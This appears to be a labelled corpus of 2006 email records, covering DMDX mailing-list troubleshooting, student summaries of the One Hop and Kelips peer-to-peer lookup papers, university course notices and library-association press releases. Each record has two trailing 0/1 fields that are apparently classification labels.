I've had this >problem pop up occasionally on a previous computer but put it down to shoddy >hardware. Hopefully I'm doing something silly and this problem is easily >corrected. That's the first time I've ever heard of a problem like that. Off the top of my head I'd say there would have to be some sort of add on software that's mucking up the windows file selection dialog. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you look like the photo on your driver's license, you aren't well enough to drive. ",0,0 """D. G. Meyer"" ",477grp6@ecn.purdue.edu,"Thu, 09 Feb 2006 08:56:31 -0500",Feedback on project proposal,"477grp6@ecn.purdue.edu Group 6: Soviet Challenge General comments: We already discussed the potential difficulty with PSSC #1 in the current lab environment. Make sure you know what you are getting into with this one. Also, no explanation is given for the use of the ""Force Feedback Motor & Driver"" listed in Table 1. If this is important, it should be included in the PSSC. Suggested re-write of PSSC: 1. An ability to connect to TetriNET servers via 802.11b and communicate with them using the TetriNET protocol. 2. An ability to display game/status information on a graphics LCD. 3. An ability to control game action using a Directional-Pad (pushbutton array?). 4. An ability to download and save (in non-volatile memory) game configuration (e.g., game appearance and preferences). 5. An ability to display battery ""fuel gauge"" (on LCD) and recharge battery when connected to an ""A.C. adapter"". ",0,0 Andy Woods ,DMDX@psy1.psych.arizona.edu,"Thu, 09 Feb 2006 15:52:48 -0000",[DMDX] RE: Re: problem selecting different RTF files,"I've found the source of the problem, namely Microsoft, and their silly ""can't get rid of write-protection even though you right click to remove projection"" feature. The solution is to copy the rtf file (and associated experiment files) and put them into a fresh folder. Thanks for your help though, Andy. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. Sent: 09 February 2006 15:06 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: problem selecting different RTF files At 02:38 PM 2/9/2006 +0000, you wrote: >Dear DMDX'ers, > >I'm having a problem opening different RTF files within DMDX. Specifically, >when I select my RTF through Browse and click OK, I'm often find that the >text window within the main DMDX start screen does not display the file I >selected (i.e. I cannot change RTF files within DMDX). I've had this >problem pop up occasionally on a previous computer but put it down to shoddy >hardware. Hopefully I'm doing something silly and this problem is easily >corrected. That's the first time I've ever heard of a problem like that. Off the top of my head I'd say there would have to be some sort of add on software that's mucking up the windows file selection dialog. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you look like the photo on your driver's license, you aren't well enough to drive. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 """F.-Xavier ALARIO"" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Feb 2006 17:36:01 +0100",[DMDX] Re: problem selecting different RTF files," j.c.f. wrote: > At 02:38 PM 2/9/2006 +0000, you wrote: > >> Dear DMDX'ers, >> >> I'm having a problem opening different RTF files within DMDX. >> Specifically, >> when I select my RTF through Browse and click OK, I'm often find that >> the >> text window within the main DMDX start screen does not display the >> file I >> selected (i.e. I cannot change RTF files within DMDX). I've had this >> problem pop up occasionally on a previous computer but put it down to >> shoddy >> hardware. Hopefully I'm doing something silly and this problem is >> easily >> corrected. > > > That's the first time I've ever heard of a problem like that. Off > the top of my head I'd say there would have to be some sort of add on > software that's mucking up the windows file selection dialog. > > In my computer vey long paths produce the same effect. I put dmdx experiments close to the root. (back to the trees, that is...) ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Feb 2006 09:44:54 -0700",[DMDX] Re: problem selecting different RTF files,"At 05:36 PM 2/9/2006 +0100, you wrote: >In my computer vey long paths produce the same effect. I put dmdx >experiments close to the root. (back to the trees, that is...) Yeah, that's a different thing I suspect. There the name is simply too long for the part to be displayed that's different from other files but the file is still actually selected correctly. Alas I can't just simply tell that combo box to be right aligned as it's not a simple dialog box. Seeing as almost every machine that has item files in My Documents winds up with this problem it's probably worth my while seeing if I can't make the text right aligned... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Barium: What you do with dead chemists. ",0,0 Gopal Parameswaran ,egs+summary,"Thu, 09 Feb 2006 10:15:27 -0500",PAPER 5," One Hop lookup is a peer to peer algorithm where all lookups are done in one hop by storing all node lookup information at all nodes and where node information is propagated to all the other nodes at regular interval in a compact way to avoid excessive bandwidth usage. This results in a one hop lookup for a destination node and hence the search algorithm is faster since the latency is greatly reduced. For updation of all the nodes with regards to a node joining or leaving the system the ring is broken up into k equal contiguous intervals called slices and each slice is broken up into units. A super node is chosen at each slice called slice leader and similary unit leaders are chosen grouped under slice leaders. A slice leader gets updated at certain specified intervals by the units in it and each unit gets updated at certain intervals by the nodes that are contained in the unit. Thus information regarding changes in the nodes in the slice is propagated to the slices and each slice sends the information out to all the slices at a certain interval and in a compact manner. This helps keep all the nodes routing tables updated with the latest node states at the expense of pressure on the bandwidth. However since the information is send in a compact manner the bandwidth usage is not that high as it appears but as the number of nodes is increased beyond a million nodes it becomes higher. However the system is not really fault tolerant since if a set of local units go down then all nodes associated with the unit leader would be lost since each unit leader only maintains a list of pointers to its child nodes. There would be no way in this system to recover from such failures. This failure would take on a much higher proportion if any of the slice leaders fail. Also an assumption is made that failures at the splice leader and node leader level will not occur frequently which might not be the case unless they are highly reliable nodes and in a real application it would be essential to have a reliable splice leader since if it goes down it would bring down a portion of the network with itself till the particular slice leader is restored back or the alternate splice leader has taken over. Node additions to this network would be simple and when new nodes are added to the system then the node information is passed on via the same layers of slice leader and unit leader to all nodes. To conclude this network while reducing the overheads on an average for searching at the cost of increased overheads to maintain the network is an effective way for one hop routing though its performance at high level of nodes of 10^10 etc would be slow since the effect on bandwidth would be high. Similarly, the pressure of maintaing the networks are on a few nodes which if they go down would bring the network down with them. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Feb 2006 10:26:09 -0700",[DMDX] Re: problem selecting different RTF files,"At 09:44 AM 2/9/2006 -0700, you wrote: >Seeing as almost every machine that has item files in My Documents winds >up with this problem it's probably worth my while seeing if I can't make >the text right aligned... Yeah. Apart from that being an extended style meaning that in order to do it properly I'd have to make my code handle another completely different dialog box template when I kludge it up it looks pretty weird as the drop down button now appears on the left... But if multiple people think this is needed I can stick it on the rainy day list -- mind you in Tucson it's currently 90+ days since the last rain fell and that was like a hundredth of an inch. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Barium: What you do with dead chemists. ",0,0 Kevin ,egs+summary,"Thu, 09 Feb 2006 10:37:39 -0500",PAPER 5," One hop lookups works on the principle that most nodes can store O(n) state without a problem, as long as updates are done without occupying too much bandwidth. If joins/leaves were disseminated through the network as soon as they occurred, this would be unreasonable. To overcome this, Gupta et al propose a tree-like structure buried in a multi-tiered ring. The outermost ring will hold only those machines that are capable, in bandwidth and cpu, of being supernodes. Supernodes, or slice leaders, are the parent of the tree structure. Their main goal is to gather and, with a time delay, update their children nodes called unit leaders and other roots (other slice leaders). These unit leaders then, once again with a time delay, update all the nodes in their unit. The regular units have pointers to their succ and pred and can pass this information down to the next one with their normal keep-alive heartbeat. By breaking the entire population up into slices and those slices into units and by imposing a hierarchy in the system that allows them to not duplicate messages, they are able to do one hop routing while maintaining O(n) state. The paper focuses very heavily on making sure the slice leaders have enough bandwidth and cpu to keep the system going. While 350kpbs (in a 10^6 size system) is not trivial, a well-provisioned corporate or educational institute should have no problem with that bandwidth. Even newer cable modems and in-home fiber systems handle this information without a hiccup. I see the biggest issue at the regular nodes. In a 10^6 size system, regular nodes experience 38.4kbps just to keep the network up. A regular 56k modem would not be able to handle that! Since it is 38.4kpbs up and down (76.8 total), no average user would be able to support this. Even my broadband connection at home with 1mbits/128kpbs usually maxes out at 100kpbs upload and the system takes up over a third of my bandwidth just for updates. Imagine what would happen with a latency spike! Forgetting the security and other concerns, the core of the paper seems flawed, it is completely unpractical. Kelips, like the above paper, also sacrifices state for lookup time. The idea is to partition the entire space into sqrt(n) 'affinity groups,' each containing sqrt(n) nodes. Each affinity group is responsible for a certain subset of data and each node in an affinity group knows all the other nodes and all the data being stored in the group. A node is chosen at random from the group to store the data. A heartbeat and other information are also stored about group members, along with a couple of pointers to randomly selected nodes in each other affinity group. In this way, using consistent hashing, you can route a request to any affinity group in 2 hops: 1 to get to the affinity group with your group-pointer and then 1 more to get to the actual node in the group that stores the information. O(1) routing is achieved using sqrt(n) space. The biggest issue I saw with this paper is the slow dispersal of data. Even the one-hop routing paper noted that Kelips takes nearly an hour to update the routing tables. While this keeps bandwidth usage low, it makes for lots of miss-routed messages when the system is undergoing churn (which a p2p system would be expected to have). The other issue I seem to have with this paper is they never detail how well the system scales past 10,000 nodes. Almost all papers we have read which discuss empirical results use node numbers 10 or 100 times that. Overall, I think the paper is right in saying that more state and fewer hops are better, but I don't think they hit the nail on the head yet. --Kevin ",0,0 Nick Gerner ,egs+summary,"Thu, 09 Feb 2006 10:51:32 -0500",PAPER 5,"in ""One Hop..."" A. Gupta et al. and in ""Kelips..."" I. Gupta et al. both suggest that one-hop lookups are possible in DHTs by maintaing O(n) connectivity at all nodes in the overlay. ""One Hop..."" begins by presenting results of a study on some existing P2P networks suggesting that sizes are between 10^5 and 10^6 and that membership changes can occur at a rate of about 19 per second. With these numbers maintaing O(n) connectivity at all nodes is feasible with modern systems (10^6 32-bit IP addresses takes ~3.8 MB of memory). Maintaining this connectivity is the problem which both papers approach (as opposed to how to efficiently route lookups as we've seen in previous papers). In ""One Hop..."" every node has connectivity with nearly all other nodes. To maintain this connectivity nodes are organized into k two level trees (k slices each of u units). Every node is responsible for sending keep-alive messages with either it's successor (on an identifier ring, also used for consistent hashing as before) or it's predecessor. The choice is made so that information flows from a unit leader (center of the unit division of the identifier ring) outward, without crossing unit boundaries. When a new member enters or a member fails notification of this message is sent directly to the detecting node's slice leader. The slice leader aggregates events occuring within some time division and sends the aggregated information to other slice leaders. Each slice leader then sends its aggregated information to unit leaders which then piggybacks the information on the keepalives flowing out of it toward unit boundaries. The claim is that this eliminates redundant communication. Kelips also maintains nearly full connectivity between all nodes. However, nodes are divided into k affinity groups (continguous groups over the identifier ring). Nodes within an affinity group maintain full connectivity. Kelips choose k=O(sqrt(n)) to analytically optimize performance. Some connections between groups are also maintained in contact groups at each node (chosen to minimize rtt). Queries can thus be routed in 2 hops (one to reach the correct affinity group via a contact and one to reach the correct destination via full connectivity). Connectivity is maintained by using a epidemic-gossip protocol where new events are propegated fully within an affinity group and occasionally across groups via contacts. Gossip bandwidth is arbitrarily fixed at a certain level. Events not gossiped in the allotted bandwidth are preserved for another round of gossiping. Both papers present schemes that potentially provide very low latency lookups. However, this is a tradeoff made with respect to the amount of state that must be stored (reasonable for modern machines) and also the amount of bandwidth spent to maintain that state. ""One Hop..."" admits that in a 10^6 node network (the size of Napster at the time) requires a slice leader to use 350kbps upstream bandwidth to disseminate events. This is strong motivation for nodes to misbehave. And even if they do obey the protocol (at high personal cost to the node) the problem of churn in system like this is aggrevated since a failed node causes some kind of failure (and maintenace costs) at all other nodes. Kelips limits the bandwidth arbitrarily so one could say that maintenance overhead is capped; however, it's not clear that arbitrarily capping this bandwidth will allow sufficient bandwidth to maintain nearly full connectivity (or O(sqrt(n)) connectivity), especially in the face of churn. ",0,0 PayPal ,irc-list-web@skidmore.edu,"Fri, 10 Feb 2006 00:55:13 +0900",Update Account,"? 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It superimposes a hierarchy, by dividing the identifier space to ‘slices’ and ‘units’, to notify every node the events of membership changes. * According to the fraction of failed queries, total number of nodes and the rate of membership changes, One-Hop tunes the time period to deliver notifications, by adjusting the number of slices (k) and units (u), to minimize bandwidth consumption. * One-Hop is attractive in small systems that can’t tolerate the delay of multi-hop routing. * One-Hop imposes a hierarchical structure, which intuitively contradict the principle of peer-to-peer system. * The slice leaders and unit leaders serve as single point of failures. They may be replaced when failed, but once compromised they can disguise the routing information in a region that nodes in the region can't detect. * Kelips uses O(n^(1/2)) space per node, a larger memory usage (than Pastry/Chord/Tapestry), along with constant background communication overheads, to resolve lookups in O(1) time and message complexity in normal cases. * Kelips is loosely-structured; it consists of virtual affinity groups. It differs from Pastry/Chord/Tapestry in that: Multiple nodes in an affinity group, rather than one single node, are responsible for a file/object’s information. Consistency and freshness of information is achieved by the heartbeating mechanism that originates at the responsible nodes and disseminates through an epidemic-style (gossip-style) protocol. * The memory storage, S(k,n), and background overheads don’t scale well to a very large system.",0,0 ,,,,"[66.111.4.28]) by cs.utexas.edu (8.13.5/8.13.5) with ESMTP id k19H5mum026586 for ; Thu, 9 Feb 2006 11:05:52 -0600 (CST) Received: from frontend1.internal (mysql-sessions.internal [10.202.2.149]) by frontend1.messagingengine.com (Postfix) with ESMTP id 7D88ED33476 for ; Thu, 9 Feb 2006 12:05:47 -0500 (EST) Received: from frontend2.messagingengine.com ([10.202.2.151]) by frontend1.internal (MEProxy); Thu, 09 Feb 2006 12:05:47 -0500 X-Sasl-enc: QSeZgEuR9g0fKDX35jMi3bVBEkYOpBHcEsNQlwZ97yBZ 1139504746 Received: from BILLMARK-LT2 (pc185.csres.utexas.edu [128.83.122.92]) by frontend2.messagingengine.com (Postfix) with ESMTP id 61F4B5714A5 for ; Thu, 9 Feb 2006 12:05:46 -0500 (EST) Date: Thu, 9 Feb 2006 11:05:45 -0600 (Central Standard Time) From: billmark@cs.utexas.edu To: cs395t-mark@cs.utexas.edu Subject: [fine-grained parallelism] Correction to question 6.28 Message-ID: X-X-Sender: billmark@fastmail.fm@mail.messagingengine.com MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Two students have suggested that question 6.28 is wrong. I've been too busy to check it myself but rather than wait on it I'm just forwarding what they've said: > There's a mistake in question 6.28, at least in my printing of the text > (which I just bought a few months ago..) > > ""while (flag == 1) { ; }"" should be: ""while (flag == 0) { ; }"" > Bill",0,0 Kelvin So ,egs+summary,"Thu, 09 Feb 2006 11:39:50 -0500",Paper 5," One Hop has similar ring-like structure as Chord. One Hop maintains a routing table size of all the members to achieve lookup time of one hop. In order to reduce bandwidth in the keep-alive messages, One Hop uses a three-tier hierarchical structure to disseminate membership changes. The circular identification space is divided into slices, and there is a slice leader in each of them. Slices are partitioned into units with unit leader in the middle of each unit. Slice leader aggregates all the membership changes and periodically sends to other slice leader. Once the slice leader receives the membership changes, it forwards the changes to all the unit leaders in the slice. Finally unit leader will propagate the changes to the successor and predecessor. The paper analyzes the bandwidth cost of the system and reasons the systems can scale more than 10^5 nodes. However, with the hierarchical structure, the leaders will have a higher load than other nodes. Also, if the leader is attacked or malicious, a large potion of the nodes will be affected. Instead of using hierarchical structure to disseminate membership changes, Kelips uses gossip protocol instead. Kelips divides the identification space into n^(1/2) affinity groups. A node is mapped to an affinity group, and the node in the affinity group will have knowledge about the location of files in the group. The membership changes is spread using two-level gossiping scheme. Kelips average lookup time is also O(1). However, it takes some times to propagate changes in the affinity group using gossip protocol, which can lead to result inconsistency. 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None of the proposed times were ideal, but this was the best of the bunch after all. 4) I will not be holding my regular office hours next week. Instead I will be holding a special office hour on Wednesday, Feb 15 from 3-4pm. My apologies regarding scheduling, but next week has two important events (1) a program committee meeting where I (and others) decide what papers are accepted for publication in a conference, and (2) one of the major computer architecture conferences is here in Austin next week. Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Yvonne Aburrow ,aut-discussion@bath.ac.uk,"Thu, 09 Feb 2006 16:47:55 +0000",New circulars and information for local associations 3-9 February 2006 (fwd),"------------ Forwarded Message ------------ Date: 09 February 2006 15:31 +0000 From: Debbie Vassell To: All Staff Subject: New circulars and information for local associations 3-9 February 2006 New circulars and information for local associations 3-9 February 2006 LA/7715 -- Nominations to the academic-related staff committee This circular contains details of candidates for election to the academic-related staff annual meeting at the 2006 annual meeting, to be held on 2 March 2006. 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Ruapehu Volcano We are looking for an MSc student to help in a funded project to develop a new tool for eruption forecasting, at Mt. Ruapehu Volcano, New Zealand. The successful applicant will register for MSc by thesis at Victoria University of Wellington (VUW). The research will be supervised by Associate Professor Martha Savage (VUW), Dr. Tony Hurst and Dr. Steven Sherburn (both at GNS Science). In two previous MSc projects, we have shown conclusively that seismic anisotropy changes in direction by almost 90 degrees, over timescales of at least several years around Mt. Ruapehu volcano. We have proposed that such changes are caused by changes in the state of stress around the volcano, which cause the orientations of systems of microcracks to change. The MSc student will develop a quick, simple anisotropy monitoring methodology, and use the methodology to compare anisotropy changes since 2002 to other volcano monitoring techniques. Funding received from the New Zealand Earthquake Commission will provide the successful applicant with a 15-month stipend, and pay for VUW enrolment at the domestic rate, which applies to students from New Zealand, Australia, France, and Germany. Students of other nationalities must pay additional fees, which are not met by this funding. Interested students, who will ideally have a strong background in geophysics, physics, or geology, should apply at the earliest opportunity and by 31 March 2006 at the latest. Contact: Dr. Martha Savage School of Earth Sciences Victoria Univ. of Wellington PO Box 600, Wellington, NZ ph +64 (4) 463 5961 fx +64 (4) 463 5186 Martha.Savage@vuw.ac.nz http://www.geo.vuw.ac.nz/staff/savage.html Martha Savage Associate Professor of Geophysics School of Earth Sciences Victoria University of Wellington Te Whare Wananga o te Upoko o te Ika a Maui Email: Martha.Savage@vuw.ac.nz DDI: (04) 463-5961 ",0,1 """F.-Xavier ALARIO"" ",DMDX@psy1.psych.arizona.edu,"Fri, 10 Feb 2006 08:55:20 +0100",[DMDX] Re: Announce: Program to help with naming data scoring - request for testers," >I have written a short program in Python which will play out the >recorded responses and display the waveforms along with the timing >marks and corresponding correct responses, so you can move on to the >next trial with only one click (if the RT is correct) or two (if not). >This program makes it extremely rapid to go through a large set of >subject data. It is designed to be failsafe and can resume if >interrupted for any reason. It produces an RT file, one row per >subject, that can be directly read into a spreadsheet or statistical >program for analysis. > > >Thanassi Protopapas > > hello I have a script (which I can send on request) for praat (www.praat.org)that takes the files generated by dmdx and recalculates all speech onsets, which can then be modified by hand. The output is a text file. I have always found very high correlations between dmdx and praat even if the average value is different (e.g. DMDX = 0.81 PRAAT + 232.81 ; R2 = 0.64). -- F.-Xavier ALARIO http://www.alario.free.fr/ ",0,1 creel@sas.upenn.edu,"""DMDX@psy1.psych.arizona.edu"" ","Fri, 10 Feb 2006 11:09:51 -0500",[DMDX] ,"I'm having a problem with getting text to stay on the screen throughout multiple trials. The issue: I want to play two sound files consecutively, with a pause in between. I also want the instructions (including a rating scale) to stay on the screen throughout these multiple trials. This works fine if I don't insert a pause frame (/ /) between the sound files. When I do insert a pause, the screen is wiped when the pause begins. Adding doesn't seem to help. There's nothing in the documentation that I can find that addresses this issue. I could add silence at the ends of the soundfiles, or create many single soundfiles with two words and a pause built in, but I'm hoping there's a more parsimonious solution. Sarah",0,0 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Fri, 10 Feb 2006 09:50:03 -0600",HW #4,"CS352-ers, The HW #4 assignment page has a minor typo (problem 4.43 is listed twice - you only have to do it once, and you don't have to do 4.44). Cheers, SK Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 10 Feb 2006 09:52:54 -0700",[DMDX] Re: ,"At 11:09 AM 2/10/2006 -0500, you wrote: >I'm having a problem with getting text to stay on the screen throughout >multiple >trials. The issue: I want to play two sound files consecutively, with a >pause in >between. I also want the instructions (including a rating scale) to stay >on the >screen throughout these multiple trials. > >This works fine if I don't insert a pause frame (/ /) between the >sound files. When I do insert a pause, the screen is wiped when the pause >begins. Adding doesn't seem to help. There's nothing in the >documentation that I can find that addresses this issue. It's here: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhnoerasekeyword.htm I notice it's not in the drawing keywords section so I'll add it shortly. You want / ! / /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Of course power tools and alcohol don't mix. Everyone knows power tools aren't soluble in alcohol ..."" - Crazy Nigel",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 10 Feb 2006 09:56:29 -0700",[DMDX] Re: ,"At 09:52 AM 2/10/2006 -0700, you wrote: > I notice it's not in the drawing keywords section so I'll add it shortly. Nope, it's in the drawing keywords section too. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Of course power tools and alcohol don't mix. Everyone knows power tools aren't soluble in alcohol ..."" - Crazy Nigel ",0,0 creel@sas.upenn.edu,DMDX@psy1.psych.arizona.edu,"Fri, 10 Feb 2006 12:22:06 -0500",[DMDX] Re: ,"Thanks--I was looking under ""method of display keywords."" Perhaps it should go there too, as it overlaps in function somewhat with fbocb. s Quoting ""Jonathan C. Forster"" : > At 11:09 AM 2/10/2006 -0500, you wrote: > >I'm having a problem with getting text to stay on the screen throughout > >multiple > >trials. The issue: I want to play two sound files consecutively, with a > >pause in > >between. I also want the instructions (including a rating scale) to stay > >on the > >screen throughout these multiple trials. > > > >This works fine if I don't insert a pause frame (/ /) between the > >sound files. When I do insert a pause, the screen is wiped when the pause > >begins. Adding doesn't seem to help. There's nothing in the > >documentation that I can find that addresses this issue. > > It's here: > > http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhnoerasekeyword.htm > > I notice it's not in the drawing keywords section so I'll add it > shortly. You want / ! / > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > ""Of course power tools and alcohol don't mix. Everyone knows power > tools aren't soluble in alcohol ..."" > > - Crazy Nigel > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 ARL Communications ,,,Nominations for 2006 Service Quality Evaluation Academy Due May 1,"February 10, 2006 For Immediate Release For more information, contact: Richard Groves            Association of Research Libraries 202-296-2296 richard@arl.org Nominations for 2006 Service Quality Evaluation Academy Due May 1 Washington, DC—The 2006 Service Quality Evaluation Academy is now accepting participant nominations until May 1, 2006. The academy is an intensive five-day program that focuses on both qualitative and quantitative methods for collecting and analyzing library service quality data. The program emphasizes basic concepts and skills in measurement and data analysis that will be applicable to service quality evaluations. Time is also spent on relevant software skills, including the use of ATLAS.ti to analyze the content of interviews or responses to open-ended surveys and the use of SPSS for quantitative data analysis. Instructors The academy instructors are Colleen Cook, Dean and Director of the Texas A&M University Libraries, holder of the Sterling C. Evans Endowed Chair, and Chair of the ARL Statistics and Assessment Committee; and Bruce Thompson, Professor and Distinguished Research Scholar, Department of Educational Psychology, Texas A&M University, and Adjunct Professor of Family and Community Medicine, Baylor College of Medicine. Who Should Attend The academy is designed for librarians across library types and organizational structures, with a strong commitment to service quality assessment efforts. It is most appropriate for those who have direct responsibility for their library assessment efforts and show high potential for developing new and innovative assessment tools. Date/Location Academy classes will be held June 19–23, 2006, at the Hotel Monteleone in New Orleans, Louisiana. Nominations and Application Library directors are invited to nominate candidates for the 2006 academy class. Directors may nominate an organizational team, but must rank order individual team members when doing so. To maximize training impact and ensure the geographic diversity of the participants, first-ranked nominees will be admitted before second-ranked nominees. Library directors and deans may be nominated by their provosts or presidents. Each nomination should include the following materials from the nominees to complete their application package: Nomination letter from library director A 1/2-page description of possible assessment project, including research questions of primary interest, or a brief statement (250 words) of interest emphasizing assessment activities Curriculum vitae The application deadline is Monday, May 1, 2006. Selection of Candidates The Selection Committee, composed of directors of academic and research libraries, will review candidate nominations and select participants using the following criteria: Assessment experience (as illustrated by applicant’s statement of interest) or viability of proposed assessment project Demonstrated commitment to service quality assessment efforts Support of the participant’s institution as demonstrated by the nomination letter from the library director Fee The participation fee for this five-day event is $1,500 per participant. This amount covers the cost of tuition, all program and instructional materials, and daily refreshments. Contact Information Send all nomination packets and inquiries to: Richard Groves Association of Research Libraries 21 Dupont Circle Suite 800 Washington, DC 20036 Phone: 202-296-2296 E-mail: richard@arl.org ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 ARL Communications ,,,LibQUAL+(TM) Awards In-Kind Grants to Participate in 2006 Survey,"February 10, 2006 For Immediate Release For more information, contact: Martha Kyrillidou Association of Research Libraries 202-296-2296 martha@arl.org LibQUAL+TM Awards In-Kind Grants to Participate in 2006 Survey Washington, DC—LibQUAL+™ awarded in-kind grants to six libraries to facilitate their participation in the 2006 LibQUAL+™ survey. The selection of LibQUAL+™ grantees was based on financial need, contribution to the growth of LibQUAL+™, and potential for surfacing best practices in the area of library service improvements. The 2006 LibQUAL+™ grant recipients are: Camden-Carroll Library, Morehead State University, Morehead, Kentucky Morehead State University offers two-year, four-year, and graduate programs in the Appalachian counties of eastern Kentucky. Cisco Junior College Libraries, Cisco, Texas Cisco Junior College is a two-year institution in rural Texas offering liberal arts and technical curricula. J.F. Drake Memorial Learning Resources Center, Alabama A&M University, Normal, Alabama Alabama A&M is a historically black university as well as a land-grant school offering undergraduate and graduate programs. Nevada State College Library, Henderson, Nevada Nevada State College opened in the fall of 2002, when it became the second four-year college in southern Nevada. Scottish Agricultural College Library, Aberdeen, Scotland The Scottish Agricultural College was created in 1990 by the merger of the three main agricultural colleges in Scotland and offers services in land-based research, advisory services, and education. Wuhan University Library, Wuhan, Hubei, China Wuhan University is a key comprehensive university of the People’s Republic of China with one of the country’s top research libraries. LibQUAL+™ is a suite of services that libraries use to solicit, track, understand, and act upon users’ opinions of service quality. These services are offered to the library community by the Association of Research Libraries (ARL). The program’s centerpiece is a rigorously tested Web-based survey bundled with training that helps libraries assess and improve library services, change organizational culture, and market the library.  To date the survey has been translated into numerous languages and has been successfully used in countries such as Australia, Denmark, Finland, Germany, Norway, South Africa, and Switzerland. These examples show that library assessment is a global concept that unites libraries across borders. The Association of Research Libraries (ARL) is a nonprofit organization of 123 research libraries in North America. Its mission is to influence the changing environment of scholarly communication and the public policies that affect research libraries and the communities they serve. ARL pursues this mission by advancing the goals of its member research libraries, providing leadership in public and information policy to the scholarly and higher education communities, fostering the exchange of ideas and expertise, and shaping a future environment that leverages its interests with those of allied organizations. ARL is located on the Web at http://www.arl.org/. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 dennist2@uwm.edu,DMDX@psy1.psych.arizona.edu,"Fri, 10 Feb 2006 12:57:58 -0600",[DMDX] dennist," hi. I'm wondering if anyone has run any experiments with audio stimuli only. I've never used DMDX, and am not proficient in computer programming. Anyone who could offer help would be greatly appreciated. Thanks, dennist dennist2@uwm.edu ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 10 Feb 2006 12:50:44 -0700",[DMDX] Re: ,"At 12:22 PM 2/10/2006 -0500, you wrote: >Thanks--I was looking under ""method of display keywords."" Perhaps it should go >there too, as it overlaps in function somewhat with fbocb. Alas, a large amount of the time the only way to get a sense of what DMDX is capable of is to wade through what I've written from start to end. Then at some later date when you want to do something you'll vaguely recall having read something like that and you can go hunt it down. Or you can do what everyone usually winds up doing which is asking me ;) /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Of course power tools and alcohol don't mix. Everyone knows power tools aren't soluble in alcohol ..."" - Crazy Nigel ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 10 Feb 2006 12:53:29 -0700",[DMDX] Re: dennist,"At 12:57 PM 2/10/2006 -0600, you wrote: >hi. >I'm wondering if anyone has run any experiments with audio stimuli only. Yes, a number of times it has been used that way. > I've >never used DMDX, and am not proficient in computer programming. Anyone who >could offer help would be greatly appreciated. What I've written in the help is as much help as I'll be writing beyond answering specific questions here. http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhsound.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Of course power tools and alcohol don't mix. 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Speakers include: * 